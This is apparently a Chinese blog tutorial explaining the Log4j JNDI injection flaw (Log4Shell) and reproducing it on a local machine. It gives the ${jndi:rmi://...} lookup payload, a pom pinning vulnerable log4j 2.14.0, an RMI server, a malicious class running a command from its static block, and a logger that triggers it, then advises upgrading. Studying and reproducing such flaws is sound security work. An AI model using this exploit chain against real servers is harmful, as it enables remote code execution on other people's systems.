log4j漏洞原理以及漏洞复现

前言:

十几天前,log4j被爆出“史诗级”漏洞。其危害非常大,影响非常广。该漏洞非常容易利用,可以执行任意代码。这个漏洞的影响可谓是重量级的。

漏洞描述:

由于Apache Log4j存在递归解析功能,未取得身份认证的用户,可以从远程发送数据请求输入数据日志,轻松触发漏洞,最终在目标上执行任意代码。简单点说,就是可以通过输入一些具有特殊意义的字符来攻击服务器。

如果入侵者在前端页面上输入了:${jndi:rmi://127.0.0.1:8080/evil} 这串字符, 然后后台用log4j记录了这串字符, log4j会自动使用jndi调用这个地址上的rmi内容。如果这个rmi的内容是删除数据库,重启服务器这种恶意程序,被攻击之后还是趁早跑路吧。(开个玩笑)

关于JNDI:

JNDI(Java Naming and Directory Interface)是Java提供的Java 命名和目录接口。通过调用JNDI的API应用程序可以定位资源和其他程序对象。JNDI是Java EE的重要部分,需要注意的是它并不只是包含了DataSource(JDBC 数据源),JNDI可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA,摘自百度百科。

关于RMI:

RMI(remote method invocation)即远程方法调用,是允许运行在一个java虚拟机上的对象调用运行在另外一个java虚拟机上的对象的方法,JAVA RMI实现JAVA程序之间跨越JVM的远程通信。通过RMI可以让调用远程JVM上对象方法,仿佛调用本地JVM上对象方法一样简单、快捷。

漏洞复现:

首先,可以先创建一个普通的maven项目, 在pom中引入log4j2.14.0

复制代码
<dependencies>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.0</version>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.0</version>
        </dependency>
    </dependencies>
复制代码

再创建一个用于开启RMI服务端的java文件

复制代码
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException, AlreadyBoundException {
        LocateRegistry.createRegistry(8080);
        final Registry registry = LocateRegistry.getRegistry("127.0.0.1", 8080);
        Reference ref = new Reference("EvilCode", "EvilCode", null);
        final ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("evil", referenceWrapper);
        System.out.println("启动成功");
    }
}
复制代码

再创建EvilCode恶意程序攻击类, 这里由于是自己的电脑, 还是用经典的calc计算器举粟

复制代码
public class EvilCode {
    static {
        System.err.println("打开计算器");
        try {
            Runtime.getRuntime().exec("calc");
        } catch ( Exception e ) {
            e.printStackTrace();
        }
    }
}
复制代码

最后创建一个启动类, 用于模拟我们的服务器程序, 使用log4j打印日志

复制代码
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Main {
    static Logger logger = LogManager.getLogger();
    public static void main(String[] args) {
        //用input局部变量来模拟入侵者输入的内容
        String input = "${jndi:rmi://127.0.0.1:8080/evil}";
        //这里直接用log4j输入
        logger.error(input);
    }
}
复制代码

先启动RMIServer, 再启动Main, 可以看到, 计算器被弹出了:

 

 

可以升级log4j最新版本或者更新jdk较高版本来解决这个问题

posted @   dianx  阅读(6872)  评论(0编辑  收藏  举报
点击右上角即可分享
微信分享提示